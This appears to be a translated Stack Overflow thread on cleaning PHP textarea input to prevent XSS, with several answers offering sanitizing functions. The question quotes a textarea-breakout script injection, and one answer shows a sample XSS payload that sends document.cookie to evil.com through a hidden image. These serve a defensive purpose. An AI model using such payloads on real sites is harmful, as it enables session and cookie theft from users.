如果要在textareas等输入中使用数据库(在php中)清理值的最佳方法是什么?
例如,在插入数据时,我可以删除标签和引号,并用html字符代码替换它们,然后在插入之前使用mysql_real_escape_string。
当检索到该数据时,我需要它在textarea中显示。我怎么能这样做,仍然避免使用XSS? (例如,您可以轻松输入
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
)并导致问题。
谢谢!
答案 0 :(得分:5)
如果您想使用纯粹的简单php解决方案,我想我更喜欢filter_var
和url_decode
的组合
想象一下像这样的推特
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
如果我使用strip_tags
var_dump(strip_tags($maliciousCode));
输出
string 'document.write("' (length=16)
如果我使用htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
输出
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
输出
string 'document.write(&#34;&#34;); I love PHP' (length=46)
如果表单使用的是GET
而不是POST
,则有些人可以直接转义,如果它是网址编码的,您可以获得最少的信息并确保最终文本无害
这也足够在线帮助你过滤看
答案 1 :(得分:2)
HTMLpurifier是清除不需要的HTML的绝佳工具,尤其是不需要的JavaScript。建议使用htmlspecialchars()
输出用户提供的内容。
答案 2 :(得分:0)
在我的联系表单上找到一个肮脏的垃圾邮件发送者后,我扩展了我的功能,清理文本框用户输入。它现在还涵盖了多行textarea输入
我需要格式化正常显示以及来自我的联系页面的html电子邮件。 它还为我也使用的纯文本电子邮件格式化提供了选项。
function clean_text($text, $html = true)
{ if($text == ""){return "";}
$text = nl2br($text,false); // false gives <br>, true gives <br />
$textary = explode("<br>",$text);
foreach($textary as $key => $val)
{ $val = trim($val);
$val = stripslashes($val);
$val = htmlspecialchars($val);
$textary[$key] = $val;
}
if ($html)
{ return implode("<br />",$textary);} //return implode("<br>",$textary);
else
{ return implode("\r\n",$textary);}
}
顺便说一下......感谢SO成员加入我的学习PHP。
的示例